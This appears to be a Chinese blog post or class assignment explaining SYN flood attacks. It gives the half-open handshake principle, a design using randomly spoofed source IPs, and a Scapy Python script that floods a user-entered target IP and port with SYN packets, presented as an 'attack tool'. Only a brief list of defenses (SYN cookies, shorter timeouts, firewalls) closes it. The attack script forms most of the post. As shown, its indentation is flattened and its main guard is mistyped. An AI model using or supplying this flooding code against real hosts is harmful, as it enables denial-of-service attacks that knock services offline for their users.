SYN泛洪攻击原理及实现

1、相关原理、技术分析
    常见的SYN泛洪攻击方法有三种:
    直接攻击,IP欺骗攻击,分布式攻击(DDoS)。
    一个用户向服务器发送了 SYN报文后突然死机或掉线, 则服务器在发出 SYN 和ACK 应答报文后,客户端无法及时答复,导致服务器无法收到客户端的 ACK 报文( 即第三次握手无法完成) ,这时服务器会处于一个半连接握手状态。
    我采用直接攻击方法,攻击者只需要向服务端发送大量的TCP请求连接而不进行回应,就会出现大量的这种半握手状态的连接, 在服务器产生很多的请求队列, 最后的结果往往是堆栈溢出崩溃——即使服务器端的系统资源足够充分, 服务器也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求, 此时服务器失去了对客户端的响应, 从而达到SYN泛洪攻击的目的。

2、设计思路、算法描述
    我伪造一些IP地址和端口,让它给服务器发送大量的TCP请求,但是我又不进行回应,这样服务器就会产生大量的请求队列,导致服务器堆栈溢出,使服务器崩溃,无法正常接收客户请求。
    使用随机生成函数,产生0-255之间的4个数,组装成IP地址如:192.168.43.208;产生1000-65535之间的1一个数,把它当作端口号,再输入要发送的数据包的个数,然后数据包就开始发送了,我们去查看当前网络的吞吐量,来判断是否攻击成功。
3、详细实现(代码必须注释)
    from scapy.all import *
    import random
    #生成随机的IP
    def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for i in range(4))))
    return ip
    #生成随机端口
    def randomPort():
    port = random.randint(1000, 65535)
    return port
    #SYN泛洪攻击
    def synFlood(count, dstIP, dstPort):
    total = 0
    print("数据包正在发送...")
    for i in range(count):
        # IP数据报封装
        srcIP = randomIP()
        dstIP = dstIP
        IPlayer = IP(src=srcIP, dst=dstIP)
        # TCP层
        srcPort = randomPort()
        TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
        # 发送包
        packet = IPlayer / TCPlayer
        send(packet)
        total += 1
    #所有的数据包发送完毕后显示一下
    print("发送数据包的数目: %i" % total)
    #显示的信息
    def info():
    print("欢迎使用SYN泛洪攻击工具")
    print("#"*15)
    # 输入目标IP和端口
    dstIP = input("请输入目的IP: ")
    dstPort = int(input("请输入目的端口: "))
    return dstIP, dstPort

    if __name__ == '_main_':
    dstIP, dstPort = info()
    cout = int(input("请输入需要发送的数据包个数:"))
    synFlood(cout, dstIP, dstPort)


4、程序测试、结果分析

 

 

 5、总结

SYN泛洪攻击的原理很简单,实现起来也容易,如何防范呢?

1.降低SYN timeout时间,使得主机尽快释放半连接的占用。

2.采用SYN cookie设置,如果短时间内连续收到某个IP的重复SYN请求,则认为受到了该IP的攻击,丢弃来自该IP的后续请求报文。

3.可以使用一些外部网络安全设施如防火墙等。

  • 5
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Beeters

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值